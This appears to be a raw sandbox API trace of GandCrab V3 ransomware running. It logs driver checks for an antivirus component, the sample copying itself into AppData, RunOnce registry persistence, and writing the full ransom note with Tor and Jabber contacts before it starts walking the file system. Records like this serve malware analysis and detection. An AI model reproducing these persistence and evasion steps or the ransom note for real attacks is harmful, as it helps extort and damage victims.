	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe75e0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="npsvctrig.sys") returned 0xd
	[0082.076] lstrcmpiW (lpString1="npsvctrig.sys", lpString2="kl1.sys") returned 1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe75f0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="mssmbios.sys") returned 0xc
	[0082.076] lstrcmpiW (lpString1="mssmbios.sys", lpString2="kl1.sys") returned 1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe7600000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="gpuenergydrv.sys") returned 0x10
	[0082.076] lstrcmpiW (lpString1="gpuenergydrv.sys", lpString2="kl1.sys") returned -1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe7610000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="dfsc.sys") returned 0x8
	[0082.076] lstrcmpiW (lpString1="dfsc.sys", lpString2="kl1.sys") returned -1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe7660000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ahcache.sys") returned 0xb
	[0082.076] lstrcmpiW (lpString1="ahcache.sys", lpString2="kl1.sys") returned -1
	[0082.076] GetDeviceDriverBaseNameW (in: ImageBase=0xe76a0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="CompositeBus.sys") returned 0x10
	[0082.076] lstrcmpiW (lpString1="CompositeBus.sys", lpString2="kl1.sys") returned -1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe76c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="kdnic.sys") returned 0x9
	[0082.077] lstrcmpiW (lpString1="kdnic.sys", lpString2="kl1.sys") returned -1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe76d0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="umbus.sys") returned 0x9
	[0082.077] lstrcmpiW (lpString1="umbus.sys", lpString2="kl1.sys") returned 1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe76f0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="HDAudBus.sys") returned 0xc
	[0082.077] lstrcmpiW (lpString1="HDAudBus.sys", lpString2="kl1.sys") returned -1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe7710000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="portcls.sys") returned 0xb
	[0082.077] lstrcmpiW (lpString1="portcls.sys", lpString2="kl1.sys") returned 1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe7770000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="drmk.sys") returned 0x8
	[0082.077] lstrcmpiW (lpString1="drmk.sys", lpString2="kl1.sys") returned -1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe77a0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ks.sys") returned 0x6
	[0082.077] lstrcmpiW (lpString1="ks.sys", lpString2="kl1.sys") returned 1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe7810000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="usbehci.sys") returned 0xb
	[0082.077] lstrcmpiW (lpString1="usbehci.sys", lpString2="kl1.sys") returned 1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe7830000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="USBPORT.SYS") returned 0xb
	[0082.077] lstrcmpiW (lpString1="USBPORT.SYS", lpString2="kl1.sys") returned 1
	[0082.077] GetDeviceDriverBaseNameW (in: ImageBase=0xe79b0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="NdisVirtualBus.sys") returned 0x12
	[0082.078] lstrcmpiW (lpString1="NdisVirtualBus.sys", lpString2="kl1.sys") returned 1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe79c0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="swenum.sys") returned 0xa
	[0082.078] lstrcmpiW (lpString1="swenum.sys", lpString2="kl1.sys") returned 1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe79d0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="rdpbus.sys") returned 0xa
	[0082.078] lstrcmpiW (lpString1="rdpbus.sys", lpString2="kl1.sys") returned 1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe79e0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="usbhub.sys") returned 0xa
	[0082.078] lstrcmpiW (lpString1="usbhub.sys", lpString2="kl1.sys") returned 1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a60000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="USBD.SYS") returned 0x8
	[0082.078] lstrcmpiW (lpString1="USBD.SYS", lpString2="kl1.sys") returned 1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe7a70000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="HdAudio.sys") returned 0xb
	[0082.078] lstrcmpiW (lpString1="HdAudio.sys", lpString2="kl1.sys") returned -1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ae0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="ksthunk.sys") returned 0xb
	[0082.078] lstrcmpiW (lpString1="ksthunk.sys", lpString2="kl1.sys") returned 1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe7af0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="hidusb.sys") returned 0xa
	[0082.078] lstrcmpiW (lpString1="hidusb.sys", lpString2="kl1.sys") returned -1
	[0082.078] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b10000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="HIDCLASS.SYS") returned 0xc
	[0082.079] lstrcmpiW (lpString1="HIDCLASS.SYS", lpString2="kl1.sys") returned -1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b40000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="HIDPARSE.SYS") returned 0xc
	[0082.079] lstrcmpiW (lpString1="HIDPARSE.SYS", lpString2="kl1.sys") returned -1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b60000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="kbdhid.sys") returned 0xa
	[0082.079] lstrcmpiW (lpString1="kbdhid.sys", lpString2="kl1.sys") returned -1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b70000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="kbdclass.sys") returned 0xc
	[0082.079] lstrcmpiW (lpString1="kbdclass.sys", lpString2="kl1.sys") returned -1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7b90000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="Razerlow.sys") returned 0xc
	[0082.079] lstrcmpiW (lpString1="Razerlow.sys", lpString2="kl1.sys") returned 1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7ba0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="mouhid.sys") returned 0xa
	[0082.079] lstrcmpiW (lpString1="mouhid.sys", lpString2="kl1.sys") returned 1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7bb0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="mouclass.sys") returned 0xc
	[0082.079] lstrcmpiW (lpString1="mouclass.sys", lpString2="kl1.sys") returned 1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7be0000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="dump_diskdump.sys") returned 0x11
	[0082.079] lstrcmpiW (lpString1="dump_diskdump.sys", lpString2="kl1.sys") returned -1
	[0082.079] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c20000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="dump_storahci.sys") returned 0x11
	[0082.079] lstrcmpiW (lpString1="dump_storahci.sys", lpString2="kl1.sys") returned -1
	[0082.080] GetDeviceDriverBaseNameW (in: ImageBase=0xe7c70000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="dump_dumpfve.sys") returned 0x10
	[0082.080] lstrcmpiW (lpString1="dump_dumpfve.sys", lpString2="kl1.sys") returned -1
	[0082.080] GetDeviceDriverBaseNameW (in: ImageBase=0x12720000, lpBaseName=0x19f670, nSize=0x400 | out: lpBaseName="win32k.sys") returned 0xa
	[0082.080] lstrcmpiW (lpString1="win32k.sys", lpString2="kl1.sys") returned 1
	[0082.081] VirtualFree (lpAddress=0xe50000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.081] EnumDeviceDrivers (in: lpImageBase=0x19fe68, cb=0x4, lpcbNeeded=0x19fe6c | out: lpImageBase=0x19fe68*=0xc1c05000, lpcbNeeded=0x19fe6c) returned 1
	[0082.081] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe50000
	[0082.081] EnumDeviceDrivers (in: lpImageBase=0xe50000, cb=0x22c, lpcbNeeded=0x19fe68 | out: lpImageBase=0xe50000*=0xc1c05000, lpcbNeeded=0x19fe68) returned 1
	[0082.084] VirtualFree (lpAddress=0xe50000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.084] EnumDeviceDrivers (in: lpImageBase=0x19fe74, cb=0x4, lpcbNeeded=0x19fe78 | out: lpImageBase=0x19fe74*=0xc1c05000, lpcbNeeded=0x19fe78) returned 1
	[0082.084] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe50000
	[0082.084] EnumDeviceDrivers (in: lpImageBase=0xe50000, cb=0x22c, lpcbNeeded=0x19fe74 | out: lpImageBase=0xe50000*=0xc1c05000, lpcbNeeded=0x19fe74) returned 1
	[0082.087] VirtualFree (lpAddress=0xe50000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.087] CreateFileMappingW (hFile=0x210, lpFileMappingAttributes=0x0, flProtect=0x8, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x21c
	[0082.087] MapViewOfFile (hFileMappingObject=0x21c, dwDesiredAccess=0x1, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0xe50000
	[0082.087] EnumDeviceDrivers (in: lpImageBase=0x19fe68, cb=0x4, lpcbNeeded=0x19fe6c | out: lpImageBase=0x19fe68*=0xc1c05000, lpcbNeeded=0x19fe6c) returned 1
	[0082.087] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe90000
	[0082.088] EnumDeviceDrivers (in: lpImageBase=0xe90000, cb=0x22c, lpcbNeeded=0x19fe68 | out: lpImageBase=0xe90000*=0xc1c05000, lpcbNeeded=0x19fe68) returned 1
	[0082.090] VirtualFree (lpAddress=0xe90000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.090] EnumDeviceDrivers (in: lpImageBase=0x19fe74, cb=0x4, lpcbNeeded=0x19fe78 | out: lpImageBase=0x19fe74*=0xc1c05000, lpcbNeeded=0x19fe78) returned 1
	[0082.090] VirtualAlloc (lpAddress=0x0, dwSize=0x22c, flAllocationType=0x3000, flProtect=0x4) returned 0xe90000
	[0082.090] EnumDeviceDrivers (in: lpImageBase=0xe90000, cb=0x22c, lpcbNeeded=0x19fe74 | out: lpImageBase=0xe90000*=0xc1c05000, lpcbNeeded=0x19fe74) returned 1
	[0082.092] VirtualFree (lpAddress=0xe90000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.092] CryptAcquireContextW (in: phProv=0x19fea0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x19fea0*=0xd4b548) returned 1
	[0082.092] VirtualAlloc (lpAddress=0x0, dwSize=0x7, flAllocationType=0x3000, flProtect=0x40) returned 0xe90000
	[0082.093] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0082.093] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0082.093] CryptGenRandom (in: hProv=0xd4b548, dwLen=0x6, pbBuffer=0xe50053 | out: pbBuffer=0xe50053) returned 1
	[0082.093] CryptReleaseContext (hProv=0xd4b548, dwFlags=0x0) returned 1
	[0082.093] VirtualFree (lpAddress=0xe90000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.093] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\nuatrx.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x220
	[0082.094] WriteFile (in: hFile=0x220, lpBuffer=0xe50000*, nNumberOfBytesToWrite=0x39e09, lpNumberOfBytesWritten=0x19fe9c, lpOverlapped=0x0 | out: lpBuffer=0xe50000*, lpNumberOfBytesWritten=0x19fe9c*=0x39e09, lpOverlapped=0x0) returned 1
	[0082.098] CloseHandle (hObject=0x220) returned 1
	[0082.102] UnmapViewOfFile (lpBaseAddress=0xe50000) returned 1
	[0082.103] CloseHandle (hObject=0x21c) returned 1
	[0082.103] CloseHandle (hObject=0x210) returned 1
	[0082.103] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe") returned 58
	[0082.103] wsprintfW (in: param_1=0xe40404, param_2="\"%s\"" | out: param_1="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe\"") returned 60
	[0082.103] lstrlenW (lpString="PRIDURASHKA") returned 11
	[0082.103] CryptAcquireContextW (in: phProv=0x19fc28, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x19fc28*=0xd4b548) returned 1
	[0082.104] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x40) returned 0xe50000
	[0082.104] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0082.104] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0082.104] CryptGenRandom (in: hProv=0xd4b548, dwLen=0xb, pbBuffer=0xe50000 | out: pbBuffer=0xe50000) returned 1
	[0082.104] CryptReleaseContext (hProv=0xd4b548, dwFlags=0x0) returned 1
	[0082.104] VirtualFree (lpAddress=0xe50000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0082.104] GetUserNameW (in: lpBuffer=0x19fc40, pcbBuffer=0x19fe44 | out: lpBuffer="SYSTEM", pcbBuffer=0x19fe44) returned 1
	[0082.105] lstrcmpiW (lpString1="SYSTEM", lpString2="SYSTEM") returned 0
	[0082.105] AllocateAndInitializeSid (in: pIdentifierAuthority=0x19fc20, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x19fc28 | out: pSid=0x19fc28*=0xd4b028*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1
	[0082.105] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x77990000
	[0082.105] GetProcAddress (hModule=0x77990000, lpProcName="CheckTokenMembership") returned 0x779af8d0
	[0082.105] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0xd4b028*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x19fc2c | out: IsMember=0x19fc2c) returned 1
	[0082.105] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19fecc, lpdwDisposition=0x0 | out: phkResult=0x19fecc*=0x228, lpdwDisposition=0x0) returned 0x0
	[0082.106] lstrlenW (lpString="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe\"") returned 60
	[0082.106] RegSetValueExW (in: hKey=0x228, lpValueName="rxrjsnunjtt", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe\"", cbData=0x78 | out: lpData="\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\nuatrx.exe\"") returned 0x0
	[0082.106] RegCloseKey (hKey=0x228) returned 0x0
	[0082.106] RtlExitUserThread (Status=0x0) 

Thread:
	id = 27
	os_tid = 0xb50


Thread:
	id = 28
	os_tid = 0xc04


Thread:
	id = 29
	os_tid = 0x7c4


Thread:
	id = 36
	os_tid = 0x350

	[0090.408] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x110000
	[0090.409] wsprintfW (in: param_1=0x110000, param_2="%c:\\" | out: param_1="C:\\") returned 3
	[0090.409] VirtualAlloc (lpAddress=0x0, dwSize=0x9c40, flAllocationType=0x3000, flProtect=0x4) returned 0x120000
	[0090.409] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.409] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.410] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.410] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.410] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.410] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.411] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314f4b0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.411] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.411] lstrcmpiW (lpString1="C:\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.411] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ec98, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.411] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.412] lstrcmpiW (lpString1="C:\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.412] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.412] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\\\CRAB-DECRYPT.txt") returned 20
	[0090.412] CreateFileW (lpFileName="C:\\\\CRAB-DECRYPT.txt" (normalized: "c:\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc
	[0090.414] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.414] WriteFile (in: hFile=0x3cc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314f494, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314f494*=0xcce, lpOverlapped=0x0) returned 1
	[0090.414] CloseHandle (hObject=0x3cc) returned 1
	[0090.415] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.416] lstrlenW (lpString="C:\\") returned 3
	[0090.416] lstrcatW (in: lpString1="C:\\", lpString2="*" | out: lpString1="C:\\*") returned="C:\\*"
	[0090.416] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x314fcb0 | out: lpFindFileData=0x314fcb0) returned 0xd47e80
	[0090.416] lstrcmpW (lpString1="$Recycle.Bin", lpString2=".") returned -1
	[0090.416] lstrcmpW (lpString1="$Recycle.Bin", lpString2="..") returned -1
	[0090.416] lstrcatW (in: lpString1="C:\\", lpString2="$Recycle.Bin" | out: lpString1="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0090.416] lstrcatW (in: lpString1="C:\\$Recycle.Bin", lpString2="\\" | out: lpString1="C:\\$Recycle.Bin\\") returned="C:\\$Recycle.Bin\\"
	[0090.416] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.416] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0090.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0090.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0090.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0090.417] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ea08, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0090.417] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0090.417] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0090.417] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314e1f0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0090.417] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0090.417] lstrcmpiW (lpString1="C:\\$Recycle.Bin\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0090.417] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.417] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\$Recycle.Bin\\\\CRAB-DECRYPT.txt") returned 33
	[0090.417] CreateFileW (lpFileName="C:\\$Recycle.Bin\\\\CRAB-DECRYPT.txt" (normalized: "c:\\$recycle.bin\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d0
	[0090.418] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0090.418] WriteFile (in: hFile=0x3d0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314e9ec, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314e9ec*=0xcce, lpOverlapped=0x0) returned 1
	[0090.419] CloseHandle (hObject=0x3d0) returned 1
	[0090.419] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0090.420] lstrlenW (lpString="C:\\$Recycle.Bin\\") returned 16
	[0090.420] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="*" | out: lpString1="C:\\$Recycle.Bin\\*") returned="C:\\$Recycle.Bin\\*"
	[0090.420] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 0xd48280
	[0090.420] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0090.420] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.420] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0090.420] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0090.420] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314f208 | out: lpFindFileData=0x314f208) returned 1
	[0090.420] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0090.420] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0090.420] lstrcatW (in: lpString1="C:\\$Recycle.Bin\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\$Recycle.Bin\\CRAB-DECRYPT.txt") returned="C:\\$Recycle.Bin\\CRAB-DECRYPT.txt"
	[0090.420] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0090.421] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\$Recycle.Bin\\CRAB-DECRYPT.txt") returned 32
	[0090.421] lstrlenW (lpString="C:\\$Recycle.Bin\\CRAB-DECRYPT.txt") returned 32
	[0090.421] lstrlenW (lpString=".txt") returned 4
	[0090.421] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0090.421] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
